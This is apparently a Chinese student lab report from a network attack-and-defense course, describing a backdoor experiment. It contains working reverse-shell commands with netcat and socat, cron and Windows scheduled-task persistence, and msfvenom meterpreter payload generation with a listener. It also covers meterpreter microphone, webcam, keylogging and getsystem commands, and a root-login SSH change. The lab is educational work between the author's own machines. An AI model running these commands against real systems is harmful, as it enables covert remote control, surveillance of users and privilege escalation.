2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践

课上知识点梳理总结

1.后门的概述

  • 后门是指不经过正常认证流程而访问系统的通道
  • 两个关键词:未认证、隐通道
  • 后门执行的过程:后门程序(.exe)->投送到系统中->启动->隐藏

2.NC或netcat

  • 进行基本的TCP、UDP数据收发
  • linux下自带ncat,man ncat可以查看用法
  • windows下需要下载ncat,且执行操作时需要在ncat路径下
  • windows(攻击者)获取linux(被攻击者)的shell
    • windows(攻击者)打开监听:ncat.exe -l -p port.linux其中-l 表示listen -p表示port
    • linux(被攻击者)反弹连接:nc ip.windows port.linux -e /bin/sh其中-e表示执行程序
  • linux(攻击者)获取windows(被攻击者)的shell
    • linux(攻击者)打开监听:nc -l -p port.windows
    • windows(被攻击者)反弹连接:ncat.exe ip.linux port.windows -e cmd.exe
  • nc传输文件
    • windows向linux发送文件

      • linux下打开监听端口,并把收到的数据保存到fileout.txt中:nc -l port > fileout.txt
      • windows反弹连接linux的端口:nc ip.linux port < filein.txt
      • 相当于将文件filein.txt的内容传送给fileout.txt
    • linux向windows发送文件
      - windows下打开监听端口,并把收到的数据保存到filein.txt中:ncat.exe -l port > filein.txt
      - linux反弹连接windows的端口:nc ip.windows port < fileout.txt
      - 相当于将文件fileout.txt的内容传送给filein.txt
  • nc传输数据
    • windows:ncat.exe -l -p port
    • linux:nc port ip.windows
    • 建立连接后,即可进行数据传输

3.socat

  • socat是netcat的加强版,功能比netcat强大
  • 安装
    • linux:sudo apt-get install socat
    • windows:需要下载socat,且执行操作时需要在socat路径下
  • 基本语法:socat [options] <address> <address>
    • address常用的几个描述

      • -,STDIN,STDOUT 表示标准输入输出,可以就用一个横杠代替
      • /var/log/syslog 也可以是其他任意路径,如果是相对路径要使用./,打开一个文件作为数据流
      • TCP:建立一个TCP连接作为数据流,TCP也可以替换为UDP
      • TCP-LISTEN:建立TCP监听端口,TCP也可以替换为UDP
      • EXEC:执行一个程序作为数据流
  • socat当cat
    • 直接回显:socat - -
    • cat文件:socat - 文件路径
    • 写文件:echo "hello" | socat - 文件路径
  • socat当netcat
    • 连接远程端口:socat - TCP:ip:port
    • 监听端口:socat TCP-LISTEN:port -
    • 正向shell:socat TCP-LISTEN:port EXEC:/bin/bash
    • 反弹shell:socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane
  • 更多用法可详见:博客1博客2

4.Meterpreter

  • 将生成的shellcode存入指定的文件中:msfvenom -p windows/meterpreter/reverse_tcp host = ip.攻击方 port = port -f exe > 1.exe

Exp2.1使用netcat获取主机操作Shell,cron启动

有关cron

  • linux下的一个定时执行工具,在不需要人工干涉的情况下执行
  • cron服务提供crontab命令来设定cron服务,一些参数说明(参考链接)
    • -u设定某个用户的cron服务,一般root用户需要此参数
    • -l列出某个用户cron服务的详细内容
    • -r删除某个用户的cron服务
    • -e编辑某个用户的cron服务
  • 有关于cron表达式的含义讲解参考:博客1博客2

实验思路:既然cron为linux下定时执行工具,那就设定windows获取linux的shell,并通过设置让linux在指定的时间自启动

实验步骤:

  • windows下获取ip地址:ipconfig

  • windows下监听端口:ncat.exe -l -p 5312
  • linux下编辑cron服务:crontab -e并选择3进入编辑器
  • 在最后一行加入:10 * * * * /bin/netcat 10.0.0.151 5312 -e /bin/sh意思为在每个小时的第10分钟都能成功反向连接

  • 在17:10,在window下成功查看linux下文件

Exp2.2使用socat获取主机操作Shell, 任务计划启动

实验思路:有关socat,在课上知识点总结中已经陈述。在Exp2.1中使用cron实现了linux下的计划启动,此实验为linux获取windows的shell,即实现windows下的计划启动。

实验步骤

  • windows标志->右键->计算机管理->任务计划程序->创建任务

  • 常规->名称

  • 触发器->新建,然后按照图示设置

  • 操作->新建,在程序或脚本中写入socat下载路径,在添加参数中写入tcp-listen:5312 exec:cmd.exe,pty,stderr实现反向shell

  • windows+L锁定系统后,重新进入即可查看到exp2.2-20165312已经运行

  • linux下连接远程端口:socat - tcp:10.0.0.151:5312

Exp2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

实验思路:结合课上所学nc传输文件以及meterpreter相关的知识即可进行实验,此实验实现从linux->windows。

实验步骤

  • 获取linux的ip:ifconfig

  • 在linux下生成.exe文件:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.133 LPORT=5312 -f exe > 20165312_backdoor.exe注意这里的ip为攻击方(linux)的地址

  • windows下打开监听端口:ncat.exe -l -p 5312 > 20165312_backdoor.exe
  • linux反弹连接windows的端口:nc 10.0.0.151 5312 < 20165312_backdoor.exe
  • 在windows中查看到传输的文件

  • 在linux中另外打开一个终端,msfconsole进入msf控制台

  • 使用监听模块:use exploit/multi/handler
  • 设置payload:set payload windows/meterpreter/reverse_tcp
  • 指定ip:set LHOST 192.168.219.133与生成后门程序的ip相同
  • 指定port:set LPORT 5312与生成后门程序的port相同
  • 显示信息:show options

  • 执行监听:exploit
  • 在windows下执行后门程序:20165312_backdoor.exe或者直接双击执行

  • 此时linux已经获得了Windows主机的连接,并且得到了远程控制的shell

Exp2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

实验思路:此实验是在Exp2.3基础上实现msf提权

实验步骤

  • 按照Exp2.3的操作,进行到exploit
  • 截取音频:record_mic

  • 获取摄像头拍照:webcam_snap

  • 截屏:screenshot

  • 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump

  • 查看当前用户:getuid提取权限:getsystem
    提取权限的操作我遇到了bug,依旧在解决ing...(会在遇到的问题里面提到)

实验过程中遇到的问题及解决方法

1.nc传送文件时,由windows传送给linux时,出现“由于目标计算机积极拒绝,无法连接”的错误

通过在群里和同学讨论,猜测这一问题和ssh有关。在此感谢王高源、李天龙同学。

解决方案:

  • 首先查看linux下有没有开启ssh服务:netstat -tlnp

    • 若回显Active Internet connections (only servers)没有开启ssh服务
  • 编辑sshd_config文件,允许远程登入:nano /etc/ssh/sshd_config
    • #PasswordAuthentication yes 修改为PasswordAuthentication yes
    • #PermitRootLogin yes 修改为PermitRootLogin yes?
    • ctrl+X保存并退出
  • SSHD服务设置为开机自启动:update-rc.d ssh enable
  • 重启kail后再尝试就ok了

参考博客链接

2.Exp2.3中,msfconsole进入msf控制台时出现以下问题


由出错的英文分析得知虚拟机的内存不够,所以就增加内存即可(设置里面可以找到!)

3.Exp2.4中,getsystem提取权限时,出现以下问题

找了好久,找到了一个解决方法:http://www.mmcaijing.com/31330.html。这个是绕过 UAC 限制的操作,但是我在操作过程中遇到了新的问题,so...这个还没成功。

实验小结

  • 实验感想

    整体来说,这次实验不是太难。在我看来核心的内容是nc传输文件、使用MSF生成shellcode和实现msf提权。但我在做实验的过程中遇到了不少的问题,其中不乏有非技术性输错指令,这就很费时间。我会反思减少这种错误。除此之外,也遇到了一些找了很多资料才解决的问题,通过这个过程,也让我锻炼了英语。。所以这次实验不仅让我更加了解后门,也让我在以后做实验的时候再认真一点,减少幼稚错误。

  • 例举你能想到的一个后门进入到你系统中的可能方式

    电脑下载的软件里面,毕竟每一个软件里面都有后门

  • 例举你知道的后门如何启动起来(win及linux)的方式

    linux:cron定时启动

    windows:修改注册表项

  • Meterpreter有哪些给你印象深刻的功能

    生成shellcode,可以获取被控机的音频文件、开启摄像头和录像功能,捕获画面。(之前关闭摄像头了,但是觉得还是害怕.jpg)

  • 如何发现自己有系统有没有被安装后门

    打开任务管理器,查看当前运行进程

    查看注册表是否被修改过

    防火墙

    杀毒软件

2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践的更多相关文章

  1. 20155308 《网络攻防》 Exp2 后门原理与实践

    20155308 <网络攻防> Exp2 后门原理与实践 学习内容:使用nc实现win,mac,Linux间的后门连接 :meterpraeter的应用 :MSF POST 模块的应用 学 ...

  2. 20155318 《网络攻防》Exp2 后门原理与实践

    20155318 <网络攻防>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载软件前要勾选一些用户协议,其中部分就存在后门进入系统的安全隐患. ...

  3. 20155321 《网络攻防》 Exp2 后门原理与实践

    20155321 <网络攻防> Exp2 后门原理与实践 实验内容 例举你能想到的一个后门进入到你系统中的可能方式? 我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站 ...

  4. 20155336 虎光元《网络攻防》Exp2后门原理与实践

    20155336 虎光元<网络攻防>Exp2后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shel ...

  5. 20155306 白皎 《网络攻防》 Exp2 后门原理与实践

    20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...

  6. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  7. 20145309 李昊 《网络攻防》 Exp2 后门原理与实践

    实践内容: (1)理解免杀技术原理(1分) (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(2分) (3)通过组合应用各种技术实现恶意代码免杀( ...

  8. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  9. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  10. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

随机推荐

  1. Springboot中的事件Event

    事件Event作为一种常用的线程通讯工具,在Springboot中可以方便地提供开发者进行线程交互. 1.事件定义 1 import org.springframework.context.Appli ...

  2. Linux环境下mysql主从同步环境搭建

    #my.cnf添加内容vim /etc/my.cnf添加以内容: ## replicationserver_id=195binlog-ignore-db=mysqlbinlog_format=mixe ...

  3. DataBase——Mysql的DataHelper

    源帖 https://www.cnblogs.com/youuuu/archive/2011/06/16/2082730.html 保护原帖,尊重技术,致敬工匠! using System; usin ...

  4. Tajima's D

    Three ways to assess the nucleotide diversity (heterozygosity).The first is mean pairwise difference ...

  5. XAF创建一个DashBoard

    1.首先启动windows程序之后点击DashBoard导航栏 2.接着点击新建按钮,开始创建一个DashBoard 3.接着根据你的数据来源选择数据源,这里我选择了数据库 4.接着填好你的服务器和数 ...

  6. MySQL 规范

    一.数据库命令规范 二.数据库基本设计规范 三.数据库字段设计规范 四.索引设计规范 五.常见索引列建议 六.如何选择索引列的顺序 七.避免建立冗余索引和重复索引 八.优先考虑覆盖索引 九.索引SET ...

  7. 从码云上下载react项目并配置成可运行状态

    (第一次写,如有不足之处,欢迎指出) 一.下载项目: 1.首先保证安装了git, 2.然后在本地想要存放项目位置打开git(Git Bash Here),再复制码云中如图所示的地址: 3.在git中输 ...

  8. idea搭建spring的demo

    这是本人在回顾知识点时记录的内容,如有错误,谢谢指正! 1.先来介绍下spring是什么? spring是一个轻量级的开源框架,是一个大型的容器,也是一个很好的“管家”,可以接管web层,业务层,da ...

  9. ewfwefwefe

    qwdefwef fwefwef

  10. MySQL-02-进阶

    大纲 1)数据约束 2)数据库设计(表设计) 3)存储过程 4)触发器 5)mysql权限问题 数据约束 2.1什么数据约束 对用户操作表的数据进行约束 2.2 默认值 作用: 当用户对使用默认值的字 ...